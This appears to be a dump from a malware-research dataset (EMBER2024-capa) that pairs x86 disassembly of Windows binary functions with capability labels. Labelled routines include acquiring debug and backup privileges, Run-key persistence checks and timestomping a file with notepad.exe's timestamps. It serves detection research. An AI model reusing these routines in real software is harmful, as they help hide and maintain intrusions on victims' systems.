joyce8/EMBER2024-capa huggingface dataset:
Function at 0xd62250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xd76808
push 0xd66288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0xd62329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0xd62329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00d651d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0xd62329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0xd62329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0xd6232c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.00d62351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xd62d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xd62d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xd62d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xd62d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xd62d94
push eax
push esi
call fcn.00d6520b
add esp, 8
pop esi
ret 0x10

Function at 0xd62da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xd62e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xd62e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xd7b320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00d64dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xd62dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xd62e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xd62ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xd62eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xd7b320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00d64dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xd62eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xd62e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xd63000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xd63131
push esi
call fcn.00d66145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00d55080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xd63131
push 0
push ebp
call fcn.00d553a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00d55260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xd6308b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00d552f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xd63121
push 0xd7b918
push edi
call fcn.00d643f0
push eax
push ebx
push esi
call fcn.00d62f60
push 0xd7b8f8
push edi
call fcn.00d643f0
push eax
push ebx
push esi
call fcn.00d62f60
push 0xd7b8d8
push edi
call fcn.00d643f0
push eax
push ebx
push esi
call fcn.00d62f60
push 0xd7b8c0
push edi
call fcn.00d643f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00d62f60
push 0xd7b8a0
push edi
call fcn.00d643f0
push eax
push ebx
push esi
call fcn.00d62f60
push 0xd7b888
push edi
call fcn.00d643f0
push eax
push ebx
push esi
call fcn.00d62f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xd641b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00d64140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00d64140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00d64140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00d64140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xd64bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xd64c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xd7687c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xd64c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xd64c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x401000
Capabilities:
Check if file exists

Disassembly:
push ebx
push esi
push edi
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
add esp, 8
mov ebx, 0x444b18
mov edi, 0x444afc
lea ecx, [ecx]
mov eax, dword [ebx]
push eax
call fcn.00420d1e
add esp, 4
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401030
sub eax, edx
mov edx, eax
mov eax, dword [edi]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401040
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ff97
mov edx, dword [edi]
add esp, 4
mov esi, eax
mov eax, dword [ebx]
push edx
push eax
call fcn.00420d1e
add esp, 4
push eax
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40110b
push esi
call fcn.00420c59
add edi, 4
add esp, 4
cmp edi, 0x444b18
jl 0x401020
add ebx, 4
cmp ebx, 0x444b1c
jl 0x401018
call fcn.00420c76
mov ecx, dword [0x444b18]
push ecx
call fcn.00420d1e
add esp, 4
mov ebx, eax
call fcn.00420c76
cdq
mov ecx, 7
idiv ecx
mov eax, ebx
mov edi, dword [edx*4 + 0x444afc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4010d6
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4010e6
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ff97
push edi
push ebx
mov esi, eax
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x14
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x401120
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
add esp, 8
push ebx
push esi
mov dword [ebp - 4], 0x444b1c
push edi
mov edi, edi
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
add esp, 8
mov ebx, 0x444b18
mov edi, 0x444afc
lea ebx, [ebx]
mov eax, dword [ebx]
push eax
call fcn.00420d1e
add esp, 4
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401170
sub eax, edx
mov edx, eax
mov eax, dword [edi]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401180
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ff97
mov edx, dword [edi]
add esp, 4
mov esi, eax
mov eax, dword [ebx]
push edx
push eax
call fcn.00420d1e
add esp, 4
push eax
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40124b
push esi
call fcn.00420c59
add edi, 4
add esp, 4
cmp edi, 0x444b18
jl 0x401160
add ebx, 4
cmp ebx, 0x444b1c
jl 0x401155
call fcn.00420c76
mov ecx, dword [0x444b18]
push ecx
call fcn.00420d1e
add esp, 4
mov ebx, eax
call fcn.00420c76
cdq
mov ecx, 7
idiv ecx
mov eax, ebx
mov edi, dword [edx*4 + 0x444afc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401216
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401226
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ff97
push edi
push ebx
mov esi, eax
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x14
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401250
mov ebx, dword [ebp - 4]
sub eax, edx
mov edx, eax
mov eax, dword [ebx]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401263
sub eax, edi
lea eax, [eax + edx + 8]
push eax
call fcn.0041ff97
mov ecx, dword [ebx]
push ecx
push esi
mov edi, eax
push 0x43c26c
push edi
call fcn.00420bd5
push esi
call fcn.00420c59
add esp, 0x18
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401324
push edi
call fcn.00420c59
add ebx, 4
add esp, 4
mov dword [ebp - 4], ebx
cmp ebx, 0x444b3c
jl 0x401140
call fcn.00401000
mov edi, eax
call fcn.00420c76
and eax, 0x80000007
jns 0x4012d2
dec eax
or eax, 0xfffffff8
inc eax
mov ebx, dword [eax*4 + 0x444b1c]
mov eax, edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4012e0
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4012f0
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ff97
push ebx
push edi
mov esi, eax
push 0x43c26c
push esi
call fcn.00420bd5
push edi
call fcn.00420c59
add esp, 0x18
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401330
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
add esp, 8
push ebx
push esi
mov dword [ebp - 4], 0x444ae0
push edi
mov edi, edi
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
add esp, 8
mov ebx, 0x444b18
mov edi, 0x444afc
lea ebx, [ebx]
mov eax, dword [ebx]
push eax
call fcn.00420d1e
add esp, 4
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401380
sub eax, edx
mov edx, eax
mov eax, dword [edi]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401390
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ff97
mov edx, dword [edi]
add esp, 4
mov esi, eax
mov eax, dword [ebx]
push edx
push eax
call fcn.00420d1e
add esp, 4
push eax
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40145b
push esi
call fcn.00420c59
add edi, 4
add esp, 4
cmp edi, 0x444b18
jl 0x401370
add ebx, 4
cmp ebx, 0x444b1c
jl 0x401365
call fcn.00420c76
mov ecx, dword [0x444b18]
push ecx
call fcn.00420d1e
add esp, 4
mov ebx, eax
call fcn.00420c76
cdq
mov ecx, 7
idiv ecx
mov eax, ebx
mov edi, dword [edx*4 + 0x444afc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401426
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401436
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ff97
push edi
push ebx
mov esi, eax
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x14
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401460
mov ebx, dword [ebp - 4]
sub eax, edx
mov edx, eax
mov eax, dword [ebx]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401473
sub eax, edi
lea eax, [eax + edx + 8]
push eax
call fcn.0041ff97
mov ecx, dword [ebx]
push ecx
push esi
mov edi, eax
push 0x43c26c
push edi
call fcn.00420bd5
add esp, 0x14
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401534
push esi
call fcn.00420c59
push edi
call fcn.00420c59
add ebx, 4
add esp, 8
mov dword [ebp - 4], ebx
cmp ebx, 0x444afc
jl 0x401350
call fcn.00401000
mov edi, eax
call fcn.00420c76
cdq
mov ecx, 7
idiv ecx
mov eax, edi
mov ebx, dword [edx*4 + 0x444ae0]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4014f0
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401500
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ff97
push ebx
push edi
mov esi, eax
push 0x43c26c
push esi
call fcn.00420bd5
push edi
call fcn.00420c59
add esp, 0x18
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401540
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 8
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call edi
mov eax, dword [ebp - 4]
test eax, eax
je 0x4015a4
mov ecx, dword [esi*4 + 0x444ac0]
push 0
push 0
push 0
push 0
push ecx
push eax
call ebx
test eax, eax
je 0x4015c9
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, 8
jl 0x401565
call fcn.00420c76
and eax, 0x80000007
jns 0x4015bb
dec eax
or eax, 0xfffffff8
inc eax
mov eax, dword [eax*4 + 0x444ac0]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi*4 + 0x444ac0]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401f50
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x43c2fc
push eax
xor bl, bl
call fcn.00421d73
mov esi, eax
add esp, 8
test esi, esi
je 0x401fcf
mov ecx, dword [ebp + 8]
push edi
push 0x43c304
push ecx
call fcn.00421d73
mov edi, eax
add esp, 8
test edi, edi
je 0x401fc5
push esi
call fcn.00420fbc
add esp, 4
test eax, eax
jne 0x401fba
push esi
push 1
lea edx, [ebp - 1]
push 1
push edx
call fcn.004220ca
push edi
push 1
lea eax, [ebp - 1]
push 1
push eax
call fcn.004222be
push esi
call fcn.00420fbc
add esp, 0x24
test eax, eax
je 0x401f91
push edi
mov bl, 1
call fcn.004226f5
add esp, 4
push esi
call fcn.004226f5
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401fe0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push str.SYSTEMROOT
mov dword [ebp - 0x98], eax
call fcn.00420d1e
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402010
sub eax, edx
add eax, 0x20
push eax
call fcn.0041ff97
push str.SYSTEMROOT
mov edi, eax
call fcn.00420d1e
push eax
push str._s_notepad.exe
push edi
call fcn.00420bd5
mov ebx, dword [sym.imp.KERNEL32.DLL_OpenFile]
add esp, 0x14
push 0
lea ecx, [ebp - 0x94]
push ecx
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4020a1
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 0x98]
push 2
lea eax, [ebp - 0x94]
push eax
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4020a1
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
call fcn.00420c59
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420bc6
mov esp, ebp
pop ebp
ret
Function at 0x402a00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x437ef8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov edi, ecx
cmp ebx, 0xffffffff
jne 0x402a3c
xor eax, eax
jmp 0x402bc1
mov eax, dword [edi + 0x24]
mov ecx, dword [eax]
test ecx, ecx
je 0x402a65
mov eax, dword [edi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x402a65
dec dword [eax]
mov edi, dword [edi + 0x24]
mov eax, dword [edi]
lea ecx, [eax + 1]
mov dword [edi], ecx
mov byte [eax], bl
mov eax, ebx
jmp 0x402bc1
cmp dword [edi + 0x54], 0
je 0x402bbe
mov ecx, dword [edi + 0x10]
lea edx, [edi + 0x48]
cmp dword [ecx], edx
jne 0x402a8d
mov edx, dword [edi + 0x3c]
mov eax, dword [edi + 0x40]
mov dword [ecx], edx
mov ecx, dword [edi + 0x20]
mov dword [ecx], eax
mov edx, dword [edi + 0x30]
sub eax, eax
mov dword [edx], eax
cmp dword [edi + 0x44], 0
jne 0x402ab3
mov edi, dword [edi + 0x54]
movsx eax, bl
push edi
push eax
call fcn.00420ec0
add esp, 8
cmp eax, 0xffffffff
je 0x402bbe
mov eax, ebx
jmp 0x402bc1
lea esi, [ebp - 0x2c]
mov byte [ebp - 0x2d], bl
call fcn.00403370
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
jmp 0x402ad0
mov edx, eax
cmp ebx, 0x10
jae 0x402adc
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x34]
push ebx
push edx
push eax
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x2c]
push eax
lea edx, [ebp - 0x2d]
push edx
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x14]
call eax
test eax, eax
js 0x402bb6
cmp eax, 1
jg 0x402b70
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x402b1c
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x34]
sub esi, ecx
je 0x402b45
cmp ebx, 0x10
jae 0x402b2b
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.004222be
add esp, 0x10
cmp esi, eax
jne 0x402bb6
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x2d]
mov byte [edi + 0x49], 1
cmp dword [ebp - 0x38], edx
jne 0x402ba9
test esi, esi
jne 0x402ad0
cmp dword [ebp - 0x1c], 0x20
jae 0x402bb6
push esi
lea ebx, [esi + 8]
lea esi, [ebp - 0x2c]
call fcn.004033d0
jmp 0x402ac5
cmp eax, 3
jne 0x402bb6
mov edi, dword [edi + 0x54]
movsx eax, byte [ebp - 0x2d]
push edi
push eax
call fcn.00420ec0
add esp, 8
cmp eax, 0xffffffff
je 0x402b9a
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
call fcn.00402150
mov eax, esi
jmp 0x402bc1
lea ecx, [ebp - 0x2c]
or esi, 0xffffffff
call fcn.00402150
mov eax, esi
jmp 0x402bc1
lea ecx, [ebp - 0x2c]
call fcn.00402150
mov eax, dword [ebp + 8]
jmp 0x402bc1
lea ecx, [ebp - 0x2c]
call fcn.00402150
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret 4
Function at 0x403830
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x437fa8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x4039c1
cmp byte [ebx + 0x49], 0
je 0x4039c1
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x4039b5
lea esi, [ebp - 0x2c]
call fcn.00403370
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4038a3
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x4038dc
dec eax
je 0x4038e0
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x4039bc
call fcn.00402150
xor al, al
jmp 0x4039c3
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4038f0
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40391d
cmp edi, 0x10
jae 0x4038ff
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.004222be
add esp, 0x10
cmp esi, eax
jne 0x4039ad
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x4039b9
test esi, esi
jne 0x403897
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x4039de
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x4039de
cmp edi, esi
jae 0x403996
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403d40
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x403897
mov ecx, eax
cmp edi, 0x10
jae 0x403972
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40398d
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x403891
test esi, esi
jne 0x403968
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x4039a5
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x403891
lea ecx, [ebp - 0x2c]
call fcn.00402150
xor al, al
jmp 0x4039c3
lea ecx, [ebp - 0x2c]
call fcn.00402150
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.00420641
int3